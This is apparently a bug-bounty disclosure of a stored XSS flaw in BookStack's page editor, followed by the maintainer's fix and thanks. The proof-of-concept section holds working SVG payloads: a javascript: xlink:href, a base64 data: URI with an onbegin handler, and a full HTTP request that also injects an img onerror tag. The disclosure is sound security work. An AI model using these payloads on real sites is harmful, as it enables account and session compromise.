Cross-site Scripting (XSS) - Stored in bookstackapp/bookstack

Valid

Reported on

Sep 1st 2021


✍️ Description

There is svg tag filtration problem in "book page" egit leading to stored XSS. SVG images can be used on book pages, but there is not server side attribute filtration implemented for it.

🕵️‍♂️ Proof of Concept

There is filter for href attribute, but inside SVG xlink:href used. That means attacker can use both javascript: or data: inside it.

SVG with XSS №1 (user interaction required, acts like <a href=>)

<svg id="test" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(document.domain)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>

Example request with it

POST /bookstack/public/books/bookname/page/pagename HTTP/1.1
Host: 192.168.255.78
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Origin: http://192.168.255.78
DNT: 1
Connection: close
Referer: /bookstack/public/books/bookname/page/pagename
Cookie: <COOKIE>
Upgrade-Insecure-Requests: 1

_token=<TOKEN>&_method=PUT&summary=&name=test&html=<p><svg+xmlns%3d"http%3a//www.w3.org/2000/svg"+xmlns%3axlink%3d"http%3a//www.w3.org/1999/xlink"+width%3d"100"+height%3d"100"><a+xlink%3ahref%3d"javascript%3aalert(document.domain)"><rect+x%3d"0"+y%3d"0"+width%3d"100"+height%3d"100"></rect></a></svg></p>&tags%5B0%5D%5Bname%5D=%3Cimg%2Fsrc%2Fonerror%3Dalert%28%29%3E&tags%5B0%5D%5Bvalue%5D=&tags%5B1%5D%5Bname%5D=&tags%5B1%5D%5Bvalue%5D=&tags%5Brandrowid%5D%5Bname%5D=&tags%5Brandrowid%5D%5Bvalue%5D=&attachment_link_uploaded_to=2&attachment_link_name=&attachment_link_url=&template=false

SVG with XSS №2 (svg inside svg, no user interaction needed to shoot xss) This thing more "spicy": svg hidden inside uses "on"-events, which be filtered on normal circumstances and also it's not visible on page

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="data:application/xml;base64 ,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KPGRlZnM+CjxjaXJjbGUgaWQ9InRlc3QiIHI9IjAiIGN4PSIwIiBjeT0iMCIgc3R5bGU9ImZpbGw6ICNGMDAiPgo8c2V0IGF0dHJpYnV0ZU5hbWU9ImZpbGwiIGF0dHJpYnV0ZVR5cGU9IkNTUyIgb25iZWdpbj0nYWxlcnQoZG9jdW1lbnQuZG9tYWluKScKb25lbmQ9J2FsZXJ0KCJvbmVuZCIpJyB0bz0iIzAwRiIgYmVnaW49IjBzIiBkdXI9Ijk5OXMiIC8+CjwvY2lyY2xlPgo8L2RlZnM+Cjx1c2UgeGxpbms6aHJlZj0iI3Rlc3QiLz4KPC9zdmc+#test"/>
</svg>

💥 Impact

Stored XSS on book-page

Recommendation

Add filtration to svg-specific tags/attributes

We have contacted a member of the bookstackapp/bookstack team and are waiting to hear back 2 years ago
bookstackapp/bookstack maintainer
2 years ago

Thank you very much for reporting @wezery,

I've now patched the cases found and deployed an update. I've fixed the cases found but this also pushed me to include some built-in CSP rules to hopefully mitigate the risks of things going past our filters.

bookstackapp/bookstack maintainer validated this vulnerability 2 years ago
wezery has been awarded the disclosure bounty
The fix bounty is now up for grabs
bookstackapp/bookstack maintainer marked this as fixed with commit 040997 2 years ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
wezery
2 years ago

Researcher


Yeah, CSP is good idea! Thanks for fast response and updates!

Jamie Slome
2 years ago

Admin


CVE published! 🎉

to join this conversation